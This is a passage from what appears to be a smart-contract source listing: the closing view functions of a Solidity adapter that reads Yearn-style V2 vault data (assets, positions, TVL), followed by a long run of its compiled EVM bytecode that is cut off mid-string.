vaultTokenIdx < numVaultsForToken;
vaultTokenIdx++
) {
address currentAssetAddress =
registry.vaults(currentTokenAddress, vaultTokenIdx);
bool assetIsNotDeprecated =
assetDeprecated[currentAssetAddress] == false;
if (assetIsNotDeprecated) {
_assetsAddresses[currentVaultIdx] = currentAssetAddress;
currentVaultIdx++;
}
}
}
return _assetsAddresses;
}
/**
* Fetch static information about an asset
*/
function assetStatic(address assetAddress)
public
view
returns (AssetStatic memory)
{
IV2Vault vault = IV2Vault(assetAddress);
address tokenAddress = underlyingTokenAddress(assetAddress);
return
AssetStatic({
id: assetAddress,
typeId: adapterInfo().typeId,
name: vault.name(),
version: vault.apiVersion(),
token: tokenMetadata(tokenAddress)
});
}
/**
* Fetch dynamic information about an asset
*/
function assetDynamic(address assetAddress)
public
view
returns (AssetDynamic memory)
{
IV2Vault vault = IV2Vault(assetAddress);
address tokenAddress = underlyingTokenAddress(assetAddress);
uint256 totalSupply = vault.totalSupply();
uint256 pricePerShare = 0;
bool vaultHasShares = totalSupply != 0;
if (vaultHasShares) {
pricePerShare = vault.pricePerShare();
}
address latestVaultAddress = registry.latestVault(tokenAddress);
bool migrationAvailable = latestVaultAddress != assetAddress;
AssetMetadata memory metadata =
AssetMetadata({
symbol: vault.symbol(),
pricePerShare: pricePerShare,
migrationAvailable: migrationAvailable,
latestVaultAddress: latestVaultAddress,
depositLimit: vault.depositLimit(),
emergencyShutdown: vault.emergencyShutdown()
});
TokenAmount memory underlyingTokenBalance =
TokenAmount({
amount: assetBalance(assetAddress),
amountUsdc: assetTvl(assetAddress)
});
uint256 delegatedBalanceAmount =
helper.assetStrategiesDelegatedBalance(assetAddress);
TokenAmount memory delegatedBalance =
TokenAmount({
amount: delegatedBalanceAmount,
amountUsdc: oracle.getNormalizedValueUsdc(
tokenAddress,
delegatedBalanceAmount
)
});
return
AssetDynamic({
id: assetAddress,
typeId: adapterInfo().typeId,
tokenId: tokenAddress,
underlyingTokenBalance: underlyingTokenBalance,
delegatedBalance: delegatedBalance,
metadata: metadata
});
}
/**
* Fetch asset position of an account given an asset address
*/
function positionOf(address accountAddress, address assetAddress)
public
view
returns (Position memory)
{
IV2Vault _asset = IV2Vault(assetAddress);
uint8 assetDecimals = _asset.decimals();
address tokenAddress = underlyingTokenAddress(assetAddress);
IERC20 token = IERC20(tokenAddress);
uint256 balance = _asset.balanceOf(accountAddress);
uint256 _accountTokenBalance =
(balance * _asset.pricePerShare()) / 10**assetDecimals;
uint256 _underlyingTokenBalance = token.balanceOf(accountAddress);
return
Position({
assetId: assetAddress,
tokenId: tokenAddress,
typeId: "deposit",
balance: balance,
underlyingTokenBalance: TokenAmount({
amount: _underlyingTokenBalance,
amountUsdc: oracle.getNormalizedValueUsdc(
tokenAddress,
_underlyingTokenBalance
)
}),
accountTokenBalance: TokenAmount({
amount: _accountTokenBalance,
amountUsdc: oracle.getNormalizedValueUsdc(
tokenAddress,
_accountTokenBalance
)
}),
tokenAllowances: tokenAllowances(
accountAddress,
tokenAddress,
assetAddress
),
assetAllowances: assetAllowances(accountAddress, assetAddress)
});
}
/**
* Fetch asset balance in underlying tokens
*/
function assetBalance(address assetAddress) public view returns (uint256) {
IV2Vault vault = IV2Vault(assetAddress);
return vault.totalAssets();
}
/**
* Fetch TVL of an asset
*/
function assetTvl(address assetAddress) public view returns (uint256) {
address tokenAddress = underlyingTokenAddress(assetAddress);
uint256 amount = assetBalance(assetAddress);
uint256 delegatedBalanceAmount =
helper.assetStrategiesDelegatedBalance(assetAddress);
amount -= delegatedBalanceAmount;
uint256 tvl = oracle.getNormalizedValueUsdc(tokenAddress, amount);
return tvl;
}
} | 0x608060405234801561001057600080fd5b50600436106101a95760003560e01c8063892f928e116100f9578063c6d0dc8b11610097578063da35bc6911610071578063da35bc6914610534578063da9aca9f14610552578063f50477a214610582578063f867d46b146105a0576101a9565b8063c6d0dc8b146104a4578063cd88e558146104d4578063d36ec1cf14610504576101a9565b80639e990afa116100d35780639e990afa14610408578063a31091c714610438578063a96e830314610456578063c10e0eeb14610486576101a9565b8063892f928e1461038a578063910de57e146103ba5780639adbba59146103ea576101a9565b80635fea577f116101665780637a0e558b116101405780637a0e558b146102ee5780637b1039991461031e5780637dc0d1d01461033c578063879208451461035a576101a9565b80635fea577f1461028457806363b0e66a146102a057806369706fed146102be576101a9565b806314e027de146101ae5780633d90e2c8146101de5780634868c43e1461020e57806357d028361461022c57806358443a3b1461024a5780635e70843b14610268575b600080fd5b6101c860048036038101906101c39190613445565b6105d0565b6040516101d59190613f6c565b60405180910390f35b6101f860048036038101906101f391906131ab565b61060f565b6040516102059190614211565b60405180910390f35b610216610786565b6040516102239190614255565b60405180910390f35b610234610825565b60405161024191906140a0565b60405180910390f35b610252610842565b60405161025f9190614172565b60405180910390f35b610282600480360381019061027d91906132dc565b610866565b005b61029e60048036038101906102999190613318565b610a8e565b005b6102a8610b99565b6040516102b59190614121565b60405180910390f35b6102d860048036038101906102d391906131ab565b610bbf565b6040516102e591906141ef565b60405180910390f35b610308600480360381019061030391906131ab565b6111a8565b6040516103159190614106565b60405180910390f35b6103266111c8565b6040516103339190614157565b60405180910390f35b6103446111ee565b604051610351919061413c565b60405180910390f35b610374600480360381019061036f9190613318565b611214565b60405161038191906140a0565b60405180910390f35b6103a4600480360381019061039f91906131fd565b61135c565b6040516103b19190614233565b60405180910390f35b6103d460048036038101906103cf9190613239565b6117f8565b6040516103e1919061407e565b60405180910390f35b6103f2611ac3565b6040516103ff91906140c2565b60405180910390f35b610422600480360381019061041d91906131ab565b611ae0565b60405161042f9190614255565b60405180910390f35b610440611c75565b60405161044d919061403a565b60405180910390f35b610470600480360381019061046b91906131ab565b6120da565b60405161047d9190613f6c565b60405180910390f35b61048e61216c565b60405161049b91906141cd565b60405180910390f35b6104be60048036038101906104b991906131fd565b612214565b6040516104cb919061407e565b60405180910390f35b6104ee60048036038101906104e991906131ab565b6123f5565b6040516104fb9190614255565b60405180910390f35b61051e60048036038101906105199190613318565b612481565b60405161052b91906140c2565b60405180910390f35b61053c6125c9565b6040516105499190614255565b60405180910390f35b61056c60048036038101906105679190613288565b6125cf565b60405161057991906140e4565b60405180910390f35b61058a612719565b6040516105979190614255565b60405180910390f35b6105ba60048036038101906105b591906131ab565b612965565b6040516105c791906140e4565b60405180910390f35b600481815481106105e057600080fd5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610617612b55565b60008290506000610627846120da565b90506040518060a001604052808573ffffffffffffffffffffffffffffffffffffffff16815260200161065861216c565b6020015181526020018373ffffffffffffffffffffffffffffffffffffffff166306fdde036040518163ffffffff1660e01b815260040160006040518083038186803b1580156106a757600080fd5b505afa1580156106bb573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052508101906106e49190613404565b81526020018373ffffffffffffffffffffffffffffffffffffffff1663258294106040518163ffffffff1660e01b815260040160006040518083038186803b15801561072f57600080fd5b505afa158015610743573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525081019061076c9190613404565b815260200161077a83612985565b81525092505050919050565b6000806000610793611c75565b905060008151905060005b8181101561081b5760008382815181106107e1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151905060006107f682611ae0565b90508086610804919061450b565b9550505080806108139061493e565b91505061079e565b5082935050505090565b60606000610831611c75565b905061083c81611214565b91505090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f3ae2415336040518263ffffffff1660e01b81526004016108c29190613f6c565b602060405180830381600087803b1580156108dc57600080fd5b505af11580156108f0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061091491906133db565b905080610956576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094d9061418d565b60405180910390fd5b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905082151581151514156109ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e5906141ad565b60405180910390fd5b600115158315151415610a185760066000815480929190610a0e9061493e565b9190505550610a31565b60066000815480929190610a2b906148c9565b91905055505b82600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f3ae2415336040518263ffffffff1660e01b8152600401610aea9190613f6c565b602060405180830381600087803b158015610b0457600080fd5b505af1158015610b18573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b3c91906133db565b905080610b7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b759061418d565b60405180910390fd5b8160049080519060200190610b94929190612ba0565b505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610bc7612c2a565b60008290506000610bd7846120da565b905060008273ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015610c2157600080fd5b505afa158015610c35573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c59919061346e565b90506000808083141590508015610ceb578473ffffffffffffffffffffffffffffffffffffffff166399530b066040518163ffffffff1660e01b815260040160206040518083038186803b158015610cb057600080fd5b505afa158015610cc4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ce8919061346e565b91505b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e177dc70866040518263ffffffff1660e01b8152600401610d489190613f6c565b60206040518083038186803b158015610d6057600080fd5b505afa158015610d74573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d9891906131d4565b905060008873ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415905060006040518060c001604052808973ffffffffffffffffffffffffffffffffffffffff166395d89b416040518163ffffffff1660e01b815260040160006040518083038186803b158015610e2157600080fd5b505afa158015610e35573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190610e5e9190613404565b815260200186815260200183151581526020018473ffffffffffffffffffffffffffffffffffffffff1681526020018973ffffffffffffffffffffffffffffffffffffffff1663ecf708586040518163ffffffff1660e01b815260040160206040518083038186803b158015610ed357600080fd5b505afa158015610ee7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f0b919061346e565b81526020018973ffffffffffffffffffffffffffffffffffffffff16633403c2fc6040518163ffffffff1660e01b815260040160206040518083038186803b158015610f5657600080fd5b505afa158015610f6a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f8e91906133db565b1515815250905060006040518060400160405280610fab8d6123f5565b8152602001610fb98d611ae0565b81525090506000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663611175128d6040518263ffffffff1660e01b815260040161101b9190613f6c565b60206040518083038186803b15801561103357600080fd5b505afa158015611047573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061106b919061346e565b905060006040518060400160405280838152602001600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638a7f66808d866040518363ffffffff1660e01b81526004016110dd929190614011565b60206040518083038186803b1580156110f557600080fd5b505afa158015611109573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061112d919061346e565b81525090506040518060c001604052808e73ffffffffffffffffffffffffffffffffffffffff16815260200161116161216c565b6020015181526020018b73ffffffffffffffffffffffffffffffffffffffff168152602001848152602001828152602001858152509b505050505050505050505050919050565b60056020528060005260406000206000915054906101000a900460ff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060008251905060008167ffffffffffffffff81111561125e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561129757816020015b611284612c2a565b81526020019060019003908161127c5790505b50905060005b828110156113515760008582815181106112e0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151905060006112f582610bbf565b905080848481518110611331577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010181905250505080806113499061493e565b91505061129d565b508092505050919050565b611364612c9e565b600082905060008173ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b1580156113b157600080fd5b505afa1580156113c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113e99190613497565b905060006113f6856120da565b9050600081905060008473ffffffffffffffffffffffffffffffffffffffff166370a08231896040518263ffffffff1660e01b81526004016114389190613f6c565b60206040518083038186803b15801561145057600080fd5b505afa158015611464573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611488919061346e565b9050600084600a61149991906145e5565b8673ffffffffffffffffffffffffffffffffffffffff166399530b066040518163ffffffff1660e01b815260040160206040518083038186803b1580156114df57600080fd5b505afa1580156114f3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611517919061346e565b836115229190614703565b61152c9190614561565b905060008373ffffffffffffffffffffffffffffffffffffffff166370a082318b6040518263ffffffff1660e01b81526004016115699190613f6c565b60206040518083038186803b15801561158157600080fd5b505afa158015611595573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115b9919061346e565b90506040518061010001604052808a73ffffffffffffffffffffffffffffffffffffffff1681526020018673ffffffffffffffffffffffffffffffffffffffff1681526020016040518060400160405280600781526020017f6465706f7369740000000000000000000000000000000000000000000000000081525081526020018481526020016040518060400160405280858152602001600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638a7f66808a886040518363ffffffff1660e01b81526004016116ae929190614011565b60206040518083038186803b1580156116c657600080fd5b505afa1580156116da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116fe919061346e565b81525081526020016040518060400160405280848152602001600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638a7f66808a876040518363ffffffff1660e01b8152600401611774929190614011565b60206040518083038186803b15801561178c57600080fd5b505afa1580156117a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117c4919061346e565b81525081526020016117d78c888d6117f8565b81526020016117e68c8c612214565b81525097505050505050505092915050565b60606000600167ffffffffffffffff81111561183d577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561186b5781602001602082028036833780820191505090505b5090506000600167ffffffffffffffff8111156118b1577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156118df5781602001602082028036833780820191505090505b509050848260008151811061191d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508381600081518110611992577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630f0e98de8885856040518463ffffffff1660e01b8152600401611a2d93929190613f87565b60006040518083038186803b158015611a4557600080fd5b505afa158015611a59573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190611a829190613359565b604051602001611a92919061405c565b604051602081830303815290604052905080806020019051810190611ab7919061339a565b93505050509392505050565b60606000611acf611c75565b9050611ada81612481565b91505090565b600080611aec836120da565b90506000611af9846123f5565b90506000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166361117512866040518263ffffffff1660e01b8152600401611b589190613f6c565b60206040518083038186803b158015611b7057600080fd5b505afa158015611b84573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ba8919061346e565b90508082611bb6919061475d565b91506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638a7f668085856040518363ffffffff1660e01b8152600401611c17929190614011565b60206040518083038186803b158015611c2f57600080fd5b505afa158015611c43573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c67919061346e565b905080945050505050919050565b60606000611c81612719565b905060008167ffffffffffffffff811115611cc5577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611cf35781602001602082028036833780820191505090505b5090506000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638e499bcf6040518163ffffffff1660e01b815260040160206040518083038186803b158015611d6057600080fd5b505afa158015611d74573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d98919061346e565b9050600080600090505b828110156120cf576000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634f64b2be836040518263ffffffff1660e01b8152600401611e079190614255565b60206040518083038186803b158015611e1f57600080fd5b505afa158015611e33573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e5791906131d4565b90506000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f9c7bba5836040518263ffffffff1660e01b8152600401611eb69190613f6c565b60206040518083038186803b158015611ece57600080fd5b505afa158015611ee2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f06919061346e565b905060005b818110156120b9576000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637bbfc69e85846040518363ffffffff1660e01b8152600401611f72929190614011565b60206040518083038186803b158015611f8a57600080fd5b505afa158015611f9e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fc291906131d4565b90506000801515600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514905080156120a4578189888151811061205b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505086806120a09061493e565b9750505b505080806120b19061493e565b915050611f0b565b50505080806120c79061493e565b915050611da2565b508294505050505090565b60008082905060008173ffffffffffffffffffffffffffffffffffffffff1663fc0c546a6040518163ffffffff1660e01b815260040160206040518083038186803b15801561212857600080fd5b505afa15801561213c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061216091906131d4565b90508092505050919050565b612174612d1b565b60405180606001604052803073ffffffffffffffffffffffffffffffffffffffff1681526020016040518060400160405280600881526020017f5641554c545f563200000000000000000000000000000000000000000000000081525081526020016040518060400160405280600581526020017f5641554c54000000000000000000000000000000000000000000000000000000815250815250905090565b60606000600167ffffffffffffffff811115612259577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122875781602001602082028036833780820191505090505b50905082816000815181106122c5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630f0e98de868460046040518463ffffffff1660e01b815260040161236193929190613fcc565b60006040518083038186803b15801561237957600080fd5b505afa15801561238d573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052508101906123b69190613359565b6040516020016123c6919061405c565b6040516020818303038152906040529050808060200190518101906123eb919061339a565b9250505092915050565b6000808290508073ffffffffffffffffffffffffffffffffffffffff166301e1d1146040518163ffffffff1660e01b815260040160206040518083038186803b15801561244157600080fd5b505afa158015612455573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612479919061346e565b915050919050565b606060008251905060008167ffffffffffffffff8111156124cb577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561250457816020015b6124f1612b55565b8152602001906001900390816124e95790505b50905060005b828110156125be57600085828151811061254d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151905060006125628261060f565b90508084848151811061259e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010181905250505080806125b69061493e565b91505061250a565b508092505050919050565b60065481565b606060008251905060008167ffffffffffffffff811115612619577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561265257816020015b61263f612c9e565b8152602001906001900390816126375790505b50905060005b8281101561270d57600085828151811061269b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151905060006126b1888361135c565b9050808484815181106126ed577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010181905250505080806127059061493e565b915050612658565b50809250505092915050565b600080600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638e499bcf6040518163ffffffff1660e01b815260040160206040518083038186803b15801561278457600080fd5b505afa158015612798573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127bc919061346e565b9050600080600090505b8281101561294f576000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634f64b2be836040518263ffffffff1660e01b815260040161282b9190614255565b60206040518083038186803b15801561284357600080fd5b505afa158015612857573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061287b91906131d4565b90506000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f9c7bba5836040518263ffffffff1660e01b81526004016128da9190613f6c565b60206040518083038186803b1580156128f257600080fd5b505afa158015612906573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061292a919061346e565b90508084612938919061450b565b9350505080806129479061493e565b9150506127c6565b506006548161295e919061475d565b9250505090565b60606000612971611c75565b905061297d83826125cf565b915050919050565b61298d612d52565b600082905060405180608001604052808473ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff166306fdde036040518163ffffffff1660e01b815260040160006040518083038186803b1580156129ff57600080fd5b505afa158015612a13573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190612a3c9190613404565b81526020018273ffffffffffffffffffffffffffffffffffffffff166395d89b416040518163ffffffff1660e01b815260040160006040518083038186803b158015612a8757600080fd5b505afa158015612a9b573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190612ac49190613404565b81526020018273ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b158015612b0f57600080fd5b505afa158015612b23573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612b479190613497565b60ff16815250915050919050565b6040518060a00160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001606081526020016060815260200160608152602001612b9a612d52565b81525090565b828054828255906000526020600020908101928215612c19579160200282015b82811115612c185782518260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555091602001919060010190612bc0565b5b509050612c269190612d93565b5090565b6040518060c00160405280600073ffffffffffffffffffffffffffffffffffffffff16815260200160608152602001600073ffffffffffffffffffffffffffffffffffffffff168152602001612c7e612db0565b8152602001612c8b612db0565b8152602001612c98612dca565b81525090565b604051806101000160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001600073ffffffffffffffffffffffffffffffffffffffff1681526020016060815260200160008152602001612cfa612db0565b8152602001612d07612db0565b815260200160608152602001606081525090565b6040518060600160405280600073ffffffffffffffffffffffffffffffffffffffff16815260200160608152602001606081525090565b6040518060800160405280600073ffffffffffffffffffffffffffffffffffffffff1681526020016060815260200160608152602001600060ff1681525090565b5b80821115612dac576000816000905550600101612d94565b5090565b604051806040016040528060008152602001600081525090565b6040518060c001604052806060815260200160008152602001600015158152602001600073ffffffffffffffffffffffffffffffffffffffff168152602001600081526020016000151581525090565b6000612e2d612e2884614295565b614270565b90508083825260208201905082856020860282011115612e4c57600080fd5b60005b85811015612e7c5781612e628882612f9c565b845260208401935060208301925050600181019050612e4f565b5050509392505050565b6000612e99612e94846142c1565b614270565b90508083825260208201905082856080860282011115612eb857600080fd5b60005b85811015612ee85781612ece8882613098565b845260208401935060808301925050600181019050612ebb565b5050509392505050565b6000612f05612f00846142ed565b614270565b90508083825260208201905082856060860282011115612f2457600080fd5b60005b85811015612f545781612f3a888261310c565b845260208401935060608301925050600181019050612f27565b5050509392505050565b6000612f71612f6c84614319565b614270565b905082815260208101848484011115612f8957600080fd5b612f94848285614896565b509392505050565b600081359050612fab81614af0565b92915050565b600081519050612fc081614af0565b92915050565b600082601f830112612fd757600080fd5b8135612fe7848260208601612e1a565b91505092915050565b600082601f83011261300157600080fd5b8151613011848260208601612e86565b91505092915050565b600082601f83011261302b57600080fd5b815161303b848260208601612ef2565b91505092915050565b60008135905061305381614b07565b92915050565b60008151905061306881614b07565b92915050565b600082601f83011261307f57600080fd5b815161308f848260208601612f5e565b91505092915050565b6000608082840312156130aa57600080fd5b6130b46080614270565b905060006130c484828501612fb1565b60008301525060206130d884828501612fb1565b60208301525060406130ec84828501613181565b604083015250606061310084828501612fb1565b60608301525092915050565b60006060828403121561311e57600080fd5b6131286060614270565b9050600061313884828501612fb1565b600083015250602061314c84828501612fb1565b602083015250604061316084828501613181565b60408301525092915050565b60008135905061317b81614b1e565b92915050565b60008151905061319081614b1e565b92915050565b6000815190506131a581614b35565b92915050565b6000602082840312156131bd57600080fd5b60006131cb84828501612f9c565b91505092915050565b6000602082840312156131e657600080fd5b60006131f484828501612fb1565b91505092915050565b6000806040838503121561321057600080fd5b600061321e85828601612f9c565b925050602061322f85828601612f9c565b9150509250929050565b60008060006060848603121561324e57600080fd5b600061325c86828701612f9c565b935050602061326d86828701612f9c565b925050604061327e86828701612f9c565b9150509250925092565b6000806040838503121561329b57600080fd5b60006132a985828601612f9c565b925050602083013567ffffffffffffffff8111156132c657600080fd5b6132d285828601612fc6565b9150509250929050565b600080604083850312156132ef57600080fd5b60006132fd85828601612f9c565b925050602061330e85828601613044565b9150509250929050565b60006020828403121561332a57600080fd5b600082013567ffffffffffffffff81111561334457600080fd5b61335084828501612fc6565b91505092915050565b60006020828403121561336b57600080fd5b600082015167ffffffffffffffff81111561338557600080fd5b61339184828501612ff0565b91505092915050565b6000602082840312156133ac57600080fd5b600082015167ffffffffffffffff8111156133c657600080fd5b6133d28482850161301a565b91505092915050565b6000602082840312156133ed57600080fd5b60006133fb84828501613059565b91505092915050565b60006020828403121561341657600080fd5b600082015167ffffffffffffffff81111561343057600080fd5b61343c8482850161306e565b91505092915050565b60006020828403121561345757600080fd5b60006134658482850161316c565b91505092915050565b60006020828403121561348057600080fd5b600061348e84828501613181565b91505092915050565b6000602082840312156134a957600080fd5b60006134b784828501613196565b91505092915050565b60006134cc8383613544565b60208301905092915050565b60006134e483836139ce565b60808301905092915050565b60006134fc8383613a23565b60608301905092915050565b60006135148383613a65565b905092915050565b60006135288383613c10565b905092915050565b600061353c8383613d26565b905092915050565b61354d816147b1565b82525050565b61355c816147b1565b82525050565b600061356d826143bf565b6135778185614472565b93506135828361434a565b8060005b838110156135b357815161359a88826134c0565b97506135a583614417565b925050600181019050613586565b5085935050505092915050565b60006135cb826143ca565b6135d58185614472565b93506135e08361435a565b8060005b83811015613618576135f582614a14565b6135ff88826134c0565b975061360a83614424565b9250506001810190506135e4565b5085935050505092915050565b6000613630826143d5565b61363a8185614483565b93506136458361436f565b8060005b8381101561367657815161365d88826134d8565b975061366883614431565b925050600181019050613649565b5085935050505092915050565b600061368e826143e0565b6136988185614494565b93506136a38361437f565b8060005b838110156136d45781516136bb88826134f0565b97506136c68361443e565b9250506001810190506136a7565b5085935050505092915050565b60006136ec826143e0565b6136f681856144a5565b93506137018361437f565b8060005b8381101561373257815161371988826134f0565b97506137248361443e565b925050600181019050613705565b5085935050505092915050565b600061374a826143eb565b61375481856144b6565b9350836020820285016137668561438f565b8060005b858110156137a257848403895281516137838582613508565b945061378e8361444b565b925060208a0199505060018101905061376a565b50829750879550505050505092915050565b60006137bf826143f6565b6137c981856144c7565b9350836020820285016137db8561439f565b8060005b8581101561381757848403895281516137f8858261351c565b945061380383614458565b925060208a019950506001810190506137df565b50829750879550505050505092915050565b600061383482614401565b61383e81856144d8565b935083602082028501613850856143af565b8060005b8581101561388c578484038952815161386d8582613530565b945061387883614465565b925060208a01995050600181019050613854565b50829750879550505050505092915050565b6138a7816147c3565b82525050565b6138b6816147c3565b82525050565b6138c581614806565b82525050565b6138d48161482a565b82525050565b6138e38161484e565b82525050565b6138f281614872565b82525050565b60006139038261440c565b61390d81856144e9565b935061391d818560208601614896565b61392681614a27565b840191505092915050565b600061393e6027836144fa565b915061394982614a52565b604082019050919050565b60006139616032836144fa565b915061396c82614aa1565b604082019050919050565b600060608301600083015161398f6000860182613544565b50602083015184820360208601526139a782826138f8565b915050604083015184820360408601526139c182826138f8565b9150508091505092915050565b6080820160008201516139e46000850182613544565b5060208201516139f76020850182613544565b506040820151613a0a6040850182613f3f565b506060820151613a1d6060850182613544565b50505050565b606082016000820151613a396000850182613544565b506020820151613a4c6020850182613544565b506040820151613a5f6040850182613f3f565b50505050565b600061010083016000830151613a7e6000860182613544565b5060208301518482036020860152613a9682826138f8565b9150506040830151613aab6040860